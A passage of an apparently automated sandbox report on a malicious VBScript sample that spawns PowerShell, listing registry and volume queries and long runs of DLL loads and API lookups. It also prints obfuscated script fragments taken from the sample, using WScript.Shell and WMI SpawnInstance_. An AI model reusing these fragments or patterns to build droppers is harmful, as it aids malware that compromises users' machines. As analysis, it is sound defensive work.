Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED")34:T4cc,Found string "Set tsunamigenic = CreateObject("WScript.Shell")" (Indicator: "set "; File: "75a7143599bc7154f6290dac048a9a9f75065b435080e44a3cdee74b87933439.bin") Found string "Set photochromotypy = tsunamigenic.Environment("User")" (Indicator: "set "; File: "75a7143599bc7154f6290dac048a9a9f75065b435080e44a3cdee74b87933439.bin") Found string "Set wasteboard = GetObject(infiniteS)" (Indicator: "set "; File: "75a7143599bc7154f6290dac048a9a9f75065b435080e44a3cdee74b87933439.bin") Found string "Set philosophocracy = wasteboard.Get(infiniteSt).SpawnInstance_" (Indicator: "set "; File: "75a7143599bc7154f6290dac048a9a9f75065b435080e44a3cdee74b87933439.bin") Found string "Set photochromotypy = Nothing" (Indicator: "set "; File: "75a7143599bc7154f6290dac048a9a9f75065b435080e44a3cdee74b87933439.bin") Found string "Set tsunamigenic = Nothing" (Indicator: "set "; File: "75a7143599bc7154f6290dac048a9a9f75065b435080e44a3cdee74b87933439.bin") Found string "Set wasteboard = Nothing" (Indicator: "set "; File: "75a7143599bc7154f6290dac048a9a9f75065b435080e44a3cdee74b87933439.bin") Found string "Set philosophocracy = Nothing" (Indicator: "set "; File: "75a7143599bc7154f6290dac048a9a9f75065b435080e44a3cdee74b87933439.bin")35:T522,Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API "RtlGetVersion" (Indicator: "GetVersion"; Source: "00000000-00004904.00000000.141303.3BFD2000.00000002.mdmp, 00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; Source: "00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; Source: "00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API "33343389004,956,3024,,RtlGetVersion,NTDLL.dll,"00:36:56.968",RX=0,PX=0" (Indicator: "GetVersion"; Source: "00000000-00004904.00000001.141909.C6AEE000.00000004.mdmp") Found reference to API "GetVersionInfo" (Indicator: "GetVersion"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp")36:Ta0f,"powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPNAMESERVER"; Value: "")37:T5da,"powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004904-00000C17-1200088664 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00004904-00000C17-1200366632 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00004904-00000C17-1201234382 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00004904-00000C17-1201584045 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004904-00000C17-1202492924 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004904-00000C17-1202628235 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004904-00000C17-120267468238:T38b8,"WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008128) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008128) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008128) "WScript.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008128) "WScript.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00008128) "WScript.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00008128) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00008128) "WScript.exe" called "LoadLibrary" with a parameter WLDP.DLL (UID: 00000000-00008128) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00008128) "WScript.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00008128) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00004904) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\fb4ba4db52ca77687f807bb068871ec2\Microsoft.VisualBasic.ni.dll (UID: 00000000-00004904)39:Tcebc,"WScript.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter QueryProtectedPolicy (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter AmsiScanString (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter WldpIsClassInApprovedList (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter CoInitialize (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter StgOpenStorage (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00008128) "WScript.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00008128) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004904) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004904) 